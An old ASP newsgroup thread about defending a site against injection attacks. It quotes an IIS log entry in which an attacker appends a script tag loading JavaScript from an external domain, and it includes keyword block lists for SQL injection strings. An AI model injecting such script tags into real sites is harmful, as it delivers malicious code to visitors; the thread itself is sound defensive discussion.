sql injection

I've been hit again using DW, parameterized queries and stored procedures.
I'm guessing I was not strict enough with character counts and allowing to
long of a string to pass.

Aside from that, as crude as it may be, is the below enough to stop these
attacks? If not, how would they get around this?

<%
If Instr(Request.QueryString("http")) > 1 or
Instr(Request.QueryString("script")) > 1 Then
Response.Redirect ("e.asp?msg=go away")
End If
%>

A variation of the following script string is being inserted through a
search page:
<script src=http://www.xxxxx.mobi/ngg.js></script>

thanks

Bob
Thu Jul 10 07:39:35 CDT 2008

shank wrote:
> I've been hit again using DW, parameterized queries and stored
> procedures. I'm guessing I was not strict enough with character
> counts and allowing to long of a string to pass.
>
> Aside from that, as crude as it may be, is the below enough to stop
> these attacks? If not, how would they get around this?
>
> <%
> If Instr(Request.QueryString("http")) > 1 or
> Instr(Request.QueryString("script")) > 1 Then
> Response.Redirect ("e.asp?msg=go away")
> End If
> %>
>
> A variation of the following script string is being inserted through a
> search page:
> <script src=http://www.xxxxx.mobi/ngg.js></script>
>
I'm guessing, but I suspect that script string is in your database, not in
your querystring. You need to take as much care with user input that you've
stored in your database as you are doing with the input passed from your
form.

--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

shank
Thu Jul 10 07:50:20 CDT 2008


"Bob Barrows [MVP]" <reb01501@NOyahoo.SPAMcom> wrote in message
news:%23tXxDoo4IHA.4916@TK2MSFTNGP06.phx.gbl...
> shank wrote:
>> I've been hit again using DW, parameterized queries and stored
>> procedures. I'm guessing I was not strict enough with character
>> counts and allowing to long of a string to pass.
>>
>> Aside from that, as crude as it may be, is the below enough to stop
>> these attacks? If not, how would they get around this?
>>
>> <%
>> If Instr(Request.QueryString("http")) > 1 or
>> Instr(Request.QueryString("script")) > 1 Then
>> Response.Redirect ("e.asp?msg=go away")
>> End If
>> %>
>>
>> A variation of the following script string is being inserted through a
>> search page:
>> <script src=http://www.xxxxx.mobi/ngg.js></script>
>>
> I'm guessing, but I suspect that script string is in your database, not in
> your querystring. You need to take as much care with user input that
> you've stored in your database as you are doing with the input passed from
> your form.
>
> --
> Microsoft MVP - ASP/ASP.NET
> Please reply to the newsgroup. This email account is my spam trap so I
> don't check it very often. If you must reply off-line, then remove the
> "NO SPAM"
=============================================
This was in my IIS logs... I assumed the script was passed through the query
string

2008-07-10 03:47:40 GET /sr.asp
title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
80 - 75.88.150.195

thanks

Bob
Thu Jul 10 09:03:06 CDT 2008

shank wrote:
> "Bob Barrows [MVP]" <reb01501@NOyahoo.SPAMcom> wrote in message
> news:%23tXxDoo4IHA.4916@TK2MSFTNGP06.phx.gbl...
>> shank wrote:
>>> I've been hit again using DW, parameterized queries and stored
>>> procedures. I'm guessing I was not strict enough with character
>>> counts and allowing to long of a string to pass.
>>>
>>> Aside from that, as crude as it may be, is the below enough to stop
>>> these attacks? If not, how would they get around this?
>>>
>>> <%
>>> If Instr(Request.QueryString("http")) > 1 or
>>> Instr(Request.QueryString("script")) > 1 Then
>>> Response.Redirect ("e.asp?msg=go away")
>>> End If
>>> %>


OK, these Instr calls don't seem to be properly formatted. I beleive they
should be throwing an error. Are you masking the error using on error resume
next?
Anyways, Instr should take at least two arguments: the string to be
searched, and the string to search for. You are only supplying a single
argument to each call.
For another thing: your querystring does not have items called "http" or
"script" so of course, this routine will never find any problems ...
Try this:

dim key, keyval
for each key in Request.QueryString
keyval = Request.Querystring(key)
if instr(keyval,"http") > 0 or instr(keyval,"script") > 0 then
Response.Redirect ("e.asp?msg=go away")
exit for
end if
next
<snip>
> This was in my IIS logs... I assumed the script was passed through
> the query string
>
> 2008-07-10 03:47:40 GET /sr.asp
> title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
> 80 - 75.88.150.195
>


When you say you've been "hit" do you mean the strings in those querystrings
made it to the pages you were serving to your clients? What I'm seeing here
is not really sql injection per se, since it does not involve injecting sql
commands for your database to execute without your knowledge, it's more like
"script injection". Which means you are not being careful to use
Server.HTMLEncode when writing data passed from users to Response. So yes,
validate as I showed above, but don't assume you have figured out every way
for hackers to sneak this crap by you: don't write user-supplied data
directly to Response. Encode it so it does not get executed by the client.


--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

Dave
Thu Jul 10 09:27:39 CDT 2008

shank wrote:
> This was in my IIS logs... I assumed the script was passed through
> the query string
>
> 2008-07-10 03:47:40 GET /sr.asp
> title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
> 80 - 75.88.150.195

That's not SQL injection unless it results in an INSERT or UPDATE in the
database.



--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

shank
Thu Jul 10 10:01:23 CDT 2008


"Dave Anderson" <NPQRWPDWZGSP@spammotel.com> wrote in message
news:uASSckp4IHA.1428@TK2MSFTNGP06.phx.gbl...
> shank wrote:
>> This was in my IIS logs... I assumed the script was passed through
>> the query string
>>
>> 2008-07-10 03:47:40 GET /sr.asp
>> title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
>> 80 - 75.88.150.195
>
> That's not SQL injection unless it results in an INSERT or UPDATE in the
> database.
>
>
>
> --
> Dave Anderson
>
> Unsolicited commercial email will be read at a cost of $500 per message.
> Use of this email address implies consent to these terms.
================
The end result of the attack was
<script%20src=http://www.xxxxx.mobi/ngg.js></script>
being appended to existing data. So it would have been an update.

thanks

Bob
Thu Jul 10 10:20:19 CDT 2008

shank wrote:
> "Dave Anderson" <NPQRWPDWZGSP@spammotel.com> wrote in message
> news:uASSckp4IHA.1428@TK2MSFTNGP06.phx.gbl...
>> shank wrote:
>>> This was in my IIS logs... I assumed the script was passed through
>>> the query string
>>>
>>> 2008-07-10 03:47:40 GET /sr.asp
>>> title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
>>> 80 - 75.88.150.195
>>
>> That's not SQL injection unless it results in an INSERT or UPDATE in
>> the database.
>>
>>
>>
>> --
>> Dave Anderson
>>
>> Unsolicited commercial email will be read at a cost of $500 per
>> message. Use of this email address implies consent to these terms.
> ================
> The end result of the attack was
> <script%20src=http://www.xxxxx.mobi/ngg.js></script>
> being appended to existing data. So it would have been an update.
>
No, you are misunderstanding Dave's point. SQL Injection involves the
insertion of actual sql statements (update, delete, etc) into sql statements
that are dynamically created and sent to the database to be executed.

"<script%20src=http://www.xxxxx.mobi/ngg.js></script>" is not a sql
statement that can be executed by a database, is it? It is data being put
into a database field. SQL Injection is not necessary to allow that to
happen.

At this point it is just sitting in a database field and doing no harm.
Where the harm occurs is when your code reads that data out of the database
and writes it directly to Response without validating it or encoding it so
the browser will not process it. What is happening to you is "script
injection".

Now, the bot that accomplished this script injection may very well have used
sql injection to discover your database schema before it was able to perform
this script injection ... but it didn't have to.

Have you searched your database for this string so you can get rid of it?

--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

shank
Thu Jul 10 10:33:13 CDT 2008


"Bob Barrows [MVP]" <reb01501@NOyahoo.SPAMcom> wrote in message
news:%23KCa3Bq4IHA.1428@TK2MSFTNGP06.phx.gbl...
> shank wrote:
>> "Dave Anderson" <NPQRWPDWZGSP@spammotel.com> wrote in message
>> news:uASSckp4IHA.1428@TK2MSFTNGP06.phx.gbl...
>>> shank wrote:
>>>> This was in my IIS logs... I assumed the script was passed through
>>>> the query string
>>>>
>>>> 2008-07-10 03:47:40 GET /sr.asp
>>>> title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
>>>> 80 - 75.88.150.195
>>>
>>> That's not SQL injection unless it results in an INSERT or UPDATE in
>>> the database.
>>>
>>>
>>>
>>> --
>>> Dave Anderson
>>>
>>> Unsolicited commercial email will be read at a cost of $500 per
>>> message. Use of this email address implies consent to these terms.
>> ================
>> The end result of the attack was
>> <script%20src=http://www.xxxxx.mobi/ngg.js></script>
>> being appended to existing data. So it would have been an update.
>>
> No, you are misunderstanding Dave's point. SQL Injection involves the
> insertion of actual sql statements (update, delete, etc) into sql
> statements that are dynamically created and sent to the database to be
> executed.
>
> "<script%20src=http://www.xxxxx.mobi/ngg.js></script>" is not a sql
> statement that can be executed by a database, is it? It is data being put
> into a database field. SQL Injection is not necessary to allow that to
> happen.
>
> At this point it is just sitting in a database field and doing no harm.
> Where the harm occurs is when your code reads that data out of the
> database and writes it directly to Response without validating it or
> encoding it so the browser will not process it. What is happening to you
> is "script injection".
>
> Now, the bot that accomplished this script injection may very well have
> used sql injection to discover your database schema before it was able to
> perform this script injection ... but it didn't have to.
>
> Have you searched your database for this string so you can get rid of it?
>
> --
> Microsoft MVP - ASP/ASP.NET
> Please reply to the newsgroup. This email account is my spam trap so I
> don't check it very often. If you must reply off-line, then remove the
> "NO SPAM"
===================
Yes, I searched and replaced all tables using a donated SP in this forum.
Works very well.
The further explanation is appreciated!
thanks!

shank
Sat Jul 19 09:09:25 CDT 2008

Per your help below, I'm using the following include on any page that has a
connection to the database. It's stopped 99% of the attacks. I can see this
in the logs. However, one page in particular gets pounded a lot. And it
appears, on a hit and miss basis, if the bad guys hit the site multiple
times consecutively, once every so often it does not get redirected to the
error page. That shows in the logs as well. How can I stop that?

<%
dim key, keyval
for each key in Request.QueryString
keyval = Request.Querystring(key)
if instr(keyval,"DECLARE") > 0 or instr(keyval,"VARCHAR") > 0 or
instr(keyval,"CAST") > 0 or instr(keyval,"EXEC") > 0 or instr(keyval,"@") >
0 or instr(keyval,";") > 0 or instr(keyval,"--") > 0 then
Response.Redirect ("e.asp?msg=go away")
exit for
end if
next
%>

thanks
================================

"Bob Barrows [MVP]" <reb01501@NOyahoo.SPAMcom> wrote in message
news:u8MrtWp4IHA.4352@TK2MSFTNGP05.phx.gbl...
> shank wrote:
>> "Bob Barrows [MVP]" <reb01501@NOyahoo.SPAMcom> wrote in message
>> news:%23tXxDoo4IHA.4916@TK2MSFTNGP06.phx.gbl...
>>> shank wrote:
>>>> I've been hit again using DW, parameterized queries and stored
>>>> procedures. I'm guessing I was not strict enough with character
>>>> counts and allowing to long of a string to pass.
>>>>
>>>> Aside from that, as crude as it may be, is the below enough to stop
>>>> these attacks? If not, how would they get around this?
>>>>
>>>> <%
>>>> If Instr(Request.QueryString("http")) > 1 or
>>>> Instr(Request.QueryString("script")) > 1 Then
>>>> Response.Redirect ("e.asp?msg=go away")
>>>> End If
>>>> %>
>
>
> OK, these Instr calls don't seem to be properly formatted. I beleive they
> should be throwing an error. Are you masking the error using on error
> resume next?
> Anyways, Instr should take at least two arguments: the string to be
> searched, and the string to search for. You are only supplying a single
> argument to each call.
> For another thing: your querystring does not have items called "http" or
> "script" so of course, this routine will never find any problems ...
> Try this:
>
> dim key, keyval
> for each key in Request.QueryString
> keyval = Request.Querystring(key)
> if instr(keyval,"http") > 0 or instr(keyval,"script") > 0 then
> Response.Redirect ("e.asp?msg=go away")
> exit for
> end if
> next
> <snip>
>> This was in my IIS logs... I assumed the script was passed through
>> the query string
>>
>> 2008-07-10 03:47:40 GET /sr.asp
>> title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
>> 80 - 75.88.150.195
>>
>
>
> When you say you've been "hit" do you mean the strings in those
> querystrings made it to the pages you were serving to your clients? What
> I'm seeing here is not really sql injection per se, since it does not
> involve injecting sql commands for your database to execute without your
> knowledge, it's more like "script injection". Which means you are not
> being careful to use Server.HTMLEncode when writing data passed from users
> to Response. So yes, validate as I showed above, but don't assume you have
> figured out every way for hackers to sneak this crap by you: don't write
> user-supplied data directly to Response. Encode it so it does not get
> executed by the client.
>
>
> --
> Microsoft MVP - ASP/ASP.NET
> Please reply to the newsgroup. This email account is my spam trap so I
> don't check it very often. If you must reply off-line, then remove the
> "NO SPAM"
>

Bob
Sat Jul 19 09:26:50 CDT 2008

Well, your validation is missing something. We can't really tell what it is
missing without seeing what's in your logs.

When the redirection does not occur, are you using parameters so that they
don't do any damage?


PS. I hope you've coded that e.asp page to load r-e-e-e-a-a-a-l-l-y slowly
... with client-side "please wait" messages to make the hacker think your
site is just experiencing a temporary slowdown ....
Maybe even an infinite progress bar to make him think something is really
happening ...
:-)

shank wrote:
> Per your help below, I'm using the following include on any page that
> has a connection to the database. It's stopped 99% of the attacks. I can
> see this in the logs. However, one page in particular gets pounded a lot.
> And
> it appears, on a hit and miss basis, if the bad guys hit the site
> multiple times consecutively, once every so often it does not get
> redirected
> to the error page. That shows in the logs as well. How can I stop that?
>
> <%
> dim key, keyval
> for each key in Request.QueryString
> keyval = Request.Querystring(key)
> if instr(keyval,"DECLARE") > 0 or instr(keyval,"VARCHAR") > 0 or
> instr(keyval,"CAST") > 0 or instr(keyval,"EXEC") > 0 or
> instr(keyval,"@") > 0 or instr(keyval,";") > 0 or instr(keyval,"--")
> > 0 then Response.Redirect ("e.asp?msg=go away")
> exit for
> end if
> next
> %>
>
> thanks
> ================================
>
> "Bob Barrows [MVP]" <reb01501@NOyahoo.SPAMcom> wrote in message
> news:u8MrtWp4IHA.4352@TK2MSFTNGP05.phx.gbl...
>> shank wrote:
>>> "Bob Barrows [MVP]" <reb01501@NOyahoo.SPAMcom> wrote in message
>>> news:%23tXxDoo4IHA.4916@TK2MSFTNGP06.phx.gbl...
>>>> shank wrote:
>>>>> I've been hit again using DW, parameterized queries and stored
>>>>> procedures. I'm guessing I was not strict enough with character
>>>>> counts and allowing to long of a string to pass.
>>>>>
>>>>> Aside from that, as crude as it may be, is the below enough to
>>>>> stop these attacks? If not, how would they get around this?
>>>>>
>>>>> <%
>>>>> If Instr(Request.QueryString("http")) > 1 or
>>>>> Instr(Request.QueryString("script")) > 1 Then
>>>>> Response.Redirect ("e.asp?msg=go away")
>>>>> End If
>>>>> %>
>>
>>
>> OK, these Instr calls don't seem to be properly formatted. I beleive
>> they should be throwing an error. Are you masking the error using on
>> error
>> resume next?
>> Anyways, Instr should take at least two arguments: the string to be
>> searched, and the string to search for. You are only supplying a
>> single argument to each call.
>> For another thing: your querystring does not have items called
>> "http" or "script" so of course, this routine will never find any
>> problems ... Try this:
>>
>> dim key, keyval
>> for each key in Request.QueryString
>> keyval = Request.Querystring(key)
>> if instr(keyval,"http") > 0 or instr(keyval,"script") > 0 then
>> Response.Redirect ("e.asp?msg=go away")
>> exit for
>> end if
>> next
>> <snip>
>>> This was in my IIS logs... I assumed the script was passed through
>>> the query string
>>>
>>> 2008-07-10 03:47:40 GET /sr.asp
>>> title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
>>> 80 - 75.88.150.195
>>>
>>
>>
>> When you say you've been "hit" do you mean the strings in those
>> querystrings made it to the pages you were serving to your clients?
>> What I'm seeing here is not really sql injection per se, since it does
>> not
>> involve injecting sql commands for your database to execute without
>> your knowledge, it's more like "script injection". Which means you are
>> not
>> being careful to use Server.HTMLEncode when writing data passed from
>> users to Response. So yes, validate as I showed above, but don't assume
>> you have figured out every way for hackers to sneak this crap by you:
>> don't
>> write user-supplied data directly to Response. Encode it so it does not
>> get
>> executed by the client.
>>
>>
>> --
>> Microsoft MVP - ASP/ASP.NET
>> Please reply to the newsgroup. This email account is my spam trap so
>> I don't check it very often. If you must reply off-line, then remove
>> the "NO SPAM"

--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

Dave
Sat Jul 19 10:34:27 CDT 2008

"shank" wrote:
> for each key in Request.QueryString
> keyval = Request.Querystring(key)
> if instr(keyval,"DECLARE") > 0 or instr(keyval,"VARCHAR") > 0 or
> instr(keyval,"CAST") > 0 or instr(keyval,"EXEC") > 0 or instr(keyval,"@")
> > 0 or instr(keyval,";") > 0 or instr(keyval,"--") > 0 then
> Response.Redirect ("e.asp?msg=go away")
> exit for
> end if
> next

While this may be helpful in fighting this particular type of attack, it
*IS* only a reaction to the type of attack you know of. Until you eliminate
the execution of dynamic SQL strings, you will continue to be vulnerable.

This is a band-aid at best.


--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

shank
Sat Jul 19 11:10:17 CDT 2008

This is my query. I don't usually post it because DW generated codes get
cold receptions around here.

The connect include has read only permissions to the tables.

<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>
<!--#include file="Connections/public.asp" -->
<%
dim key, keyval
for each key in Request.QueryString
keyval = Request.Querystring(key)
if instr(keyval,"DECLARE") > 0 or instr(keyval,"VARCHAR") > 0 or
instr(keyval,"CAST") > 0 or instr(keyval,"EXEC") > 0 or instr(keyval,"@") >
0 or instr(keyval,";") > 0 or instr(keyval,"--") > 0 then
Response.Redirect ("e.asp?msg=go away")
exit for
end if
next
%>

<%
Dim rsIn
Dim rsIn_cmd
Dim rsIn_numRows

Set rsIn_cmd = Server.CreateObject ("ADODB.Command")
rsIn_cmd.ActiveConnection = MM_PUBLIC_STRING
rsIn_cmd.CommandText = "{call ja.stp_In}"
rsIn_cmd.Prepared = true

Set rsIn = rsIn_cmd.Execute
rsIn_numRows = 0
%>
<%
Dim rsD__INST
rsD__INST = "%"
If (Request("i") <> "") Then
rsD__INST = Request("i")
End If
%>
<%
Dim rsD__SI
rsD__SI = "%"
If (Request("si") <> "") Then
rsD__SI = Request("si")
End If
%>
<%
Dim rsD__X
rsD__X = "nr"
If (Request("x") <> "") Then
rsD__X = Request("x")
End If
%>
<%
Dim rsD
Dim rsD_cmd
Dim rsD_numRows

Set rsD_cmd = Server.CreateObject ("ADODB.Command")
rsD_cmd.ActiveConnection = MM_PUBLIC_STRING
rsD_cmd.CommandText = "{call ja.stp_D(?,?,?)}"
rsD_cmd.Prepared = true
rsD_cmd.Parameters.Append rsD_cmd.CreateParameter("param1", 200, 1, 30,
rsD__INST) ' adVarChar
rsD_cmd.Parameters.Append rsD_cmd.CreateParameter("param2", 200, 1, 30,
rsD__SI) ' adVarChar
rsD_cmd.Parameters.Append rsD_cmd.CreateParameter("param3", 200, 1, 10,
rsD__X) ' adVarChar

Set rsD = rsD_cmd.Execute
rsD_numRows = 0
%>

thanks

"Dave Anderson" <NPQRWPDWZGSP@spammotel.com> wrote in message
news:ts2dnRxA5LoelB_VnZ2dnUVZ_gCdnZ2d@posted.visi...
> "shank" wrote:
>> for each key in Request.QueryString
>> keyval = Request.Querystring(key)
>> if instr(keyval,"DECLARE") > 0 or instr(keyval,"VARCHAR") > 0 or
>> instr(keyval,"CAST") > 0 or instr(keyval,"EXEC") > 0 or instr(keyval,"@")
>> > 0 or instr(keyval,";") > 0 or instr(keyval,"--") > 0 then
>> Response.Redirect ("e.asp?msg=go away")
>> exit for
>> end if
>> next
>
> While this may be helpful in fighting this particular type of attack, it
> *IS* only a reaction to the type of attack you know of. Until you
> eliminate the execution of dynamic SQL strings, you will continue to be
> vulnerable.
>
> This is a band-aid at best.
>
>
> --
> Dave Anderson
>
> Unsolicited commercial email will be read at a cost of $500 per message.
> Use of this email address implies consent to these terms.

Bob
Sat Jul 19 11:24:33 CDT 2008

shank wrote:
> This is my query. I don't usually post it because DW generated codes
> get cold receptions around here.
>
<snip>
> Set rsIn_cmd = Server.CreateObject ("ADODB.Command")
> rsIn_cmd.ActiveConnection = MM_PUBLIC_STRING
>

I believe I've pointed this out to you before, but just in case I haven't:
this is a huge mistake. Always use an explicit Connection object rather than
allowing ADO to create an implicit one over which you have no control behind
the scenes.

<snip>
That works: you are using parameters, but you may be going to too much
trouble, at least for this particular situation. It could be as simple as
this:

dim conn,rsD
if DataIsValid then
set conn=createobject("adodb.connection")
conn.open MM_PUBLIC_STRING
conn.DefaultDatabase="ja"
Set rsD=createobject("adodb.recordset")
conn.stp_In rsD__INST,rsD__SI,rsD__X, rsD
if not rsD.EOF then
etc.
end if
end if
--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"